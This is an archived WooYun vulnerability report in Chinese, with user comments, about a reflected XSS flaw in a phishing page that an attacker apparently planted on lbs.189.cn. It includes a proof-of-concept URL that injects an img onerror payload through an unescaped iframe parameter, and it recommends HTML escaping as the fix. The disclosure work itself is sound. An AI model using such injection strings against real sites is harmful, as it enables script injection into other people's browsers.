钓鱼攻击者不职业,漠视站方安全,钓鱼链接存在xss

编号19897
Urlhttp://www.wooyun.org/bug.php?action=view&id=19897
漏洞状态未联系到厂商或者厂商积极忽略
漏洞标题钓鱼攻击者不职业,漠视站方安全,钓鱼链接存在xss
漏洞类型XSS跨站脚本攻击
厂商www.cbgsxcs.slspxc.ivefg.knvew.a2a8a.com
白帽子呆子不开口
提交日期2013-03-11 11:33:00
公开日期2013-03-11 11:33:00
修复时间(not set)
确认时间0000-00-00 00:00:00
Confirm Spend-1
漏洞标签反射型xss 钓鱼
关注数0
收藏数0
白帽评级
白帽自评rank5
厂商评级
厂商评rank0
漏洞简介
钓鱼攻击者在目标站点写入的钓鱼木马页存在xss漏洞,作为一个职业的钓鱼攻击,不应该给目标站带入其他类型的攻击,而且如果被利用,更容易让自己的钓鱼页暴露。做坏人也需要有职业道德,否则永远得不到杨幂的爱
漏洞细节

例子如下:
http://lbs.189.cn/fuc/tk.php?i=ddd%22/%3E%3Cimg%20src=1%20onerror=alert%281%29%3E%3C
参数会被写入iframe的src中,未做html转义,可以写入xss

POC

http://lbs.189.cn/fuc/tk.php?i=ddd%22/%3E%3Cimg%20src=1%20onerror=alert%281%29%3E%3C

修复方案

做html转义

状态信息 2013-03-11: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-03-11: 厂商已经主动忽略漏洞,细节向公众公开
厂商回复(not set)
回应信息未能联系到厂商或者厂商积极拒绝
Showing 1-5 of 5 items.
评论内容评论人点赞数评论时间

@呆子不开口 就是notfound ,页面被删除了吧

苏南同学02013-03-11 12:39:00

节操碎了一地,毁三观。。。。

马燕羊蝎子02013-03-11 11:54:00

@苏南同学 你看源码

呆子不开口02013-03-11 11:48:00

404...

苏南同学02013-03-11 11:40:00

极其鄙视这种行为

xsser02013-03-11 11:34:00